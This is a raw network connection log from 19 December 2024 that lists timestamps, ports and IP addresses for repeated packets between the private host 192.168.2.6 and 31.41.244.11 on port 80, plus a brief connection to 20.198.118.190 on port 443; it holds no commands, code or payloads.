Dec 19, 2024 16:10:27.456887007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.456923008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.457782030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.457823992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.457967997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.458010912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.458770037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.458813906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.458853960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.458890915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.459775925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.459815025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.459944010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.459980011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.460700989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.460742950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.460824966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.460869074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.461690903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.461733103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.461755991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.461793900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.462688923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.462730885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.462766886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.462804079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.463687897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.463731050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.463772058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.463809013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.464663029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.464704990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.464742899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.464780092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.465594053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.465640068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.465707064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.465747118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.466578960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.466626883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.466666937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.466708899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.467572927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.467622042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.467751026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.467793941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.468575001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.468617916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.468705893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.468744040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.469502926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.469546080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.610397100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.610485077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.610496998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.610539913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.610706091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.610797882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.610814095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.610846043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.611685038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.611778975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.611805916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.611818075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.612670898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.612713099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.612787962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.612818956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.613677025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.613723040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.613771915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.613804102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.614574909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.614618063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.614682913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.614715099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.615597963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.615639925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.615715027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.615748882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.616630077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.616646051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.616677999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.616689920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.617539883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.617585897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.617630959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.617669106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.618521929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.618566036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.618612051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.618645906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.619514942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.619560003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.619601011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.619637966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.620434046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.620479107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.620557070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.620595932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.621511936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.621553898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.621711969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.621750116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.622623920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.622648954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.622667074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.622684002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.623414040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.623460054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.623497963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.623538017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.624452114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.624495983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.624600887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.624638081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.625366926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.625411034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.625427961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.625464916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.626338959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.626398087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.626439095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.626481056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.627348900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.627399921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.627454996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.627495050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.628365040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.628379107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.628412008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.628426075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.629287958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.629359007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.629406929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.629446030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.630302906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.630346060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.630367994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.630403996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.631263018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.631309032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.631478071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.631540060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.632246017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.632289886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.632410049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.632448912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.633305073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.633347034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.633411884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.633449078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.634268999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.634310007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.634414911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.634454012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.635198116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.635237932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.635390997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.635432005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.636182070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.636224031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.636373043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.636411905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.637177944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.637217999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.637229919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.637265921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.638104916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.638144016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.638180971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.638219118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.639228106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.639270067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.639409065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.639447927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.640078068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.640120029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.640192032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.640229940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.641094923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.641136885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.641172886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.641208887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.642067909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.642107964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.642143011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.642179966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.643157959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.643201113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.643248081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.643285036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.643985987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.644026995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.644098043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.644140005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.645025015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.645066977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.645076036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.645116091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.645946026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.645991087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.646076918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.646116972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.646970034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.647015095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.647142887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.647195101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.647898912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.647939920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.647968054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.648006916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.648922920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.648967981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.649053097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.649096012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.649852037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.649893045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.649976969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.650018930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.650876045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.650918961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.651211977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.651252031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.651859045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.651940107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.651958942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.651982069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.652848959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.652889013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.652925014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.652960062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.653820992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.653870106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.653923035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.653961897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.654742002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.654783010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.654795885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.654843092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.655741930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.655785084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.655850887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.655889034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.656778097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.656816959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.657094955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.657135963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.657752991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.657798052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.657861948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.657902002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.658719063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.658760071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.658838987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.658878088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.659779072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.659820080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.659842014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.659878969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.660703897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.660748959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.660877943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.660917997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.661628962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.661675930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.772640944 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:27.772700071 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:27.772757053 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:27.773708105 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:27.773721933 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:27.802784920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.802855015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.802932978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.802977085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.803199053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.803229094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.803237915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.803261995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.804122925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.804172993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.804198027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.804245949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.805094957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.805143118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.805182934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.805218935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.806030989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.806076050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.806113005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.806166887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.807128906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.807177067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.807288885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.807332039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.808058023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.808096886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.808145046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.808191061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.808960915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.809005022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.809077978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.809144974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.810084105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.810123920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.810178995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.810224056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.810935020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.810977936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.811044931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.811088085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.812060118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.812108040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.812164068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.812201977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.812952042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.813002110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.813154936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.813195944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.813900948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.813945055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.813976049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.814017057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.814907074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.814948082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.815054893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.815102100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.815892935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.815947056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.816123962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.816169024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.816843033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.816890001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.816940069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.816988945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.817816019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.817872047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.817909956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:27.817949057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:27.818871975 CET	80	49881	31.41.244.11	192.168.2.6
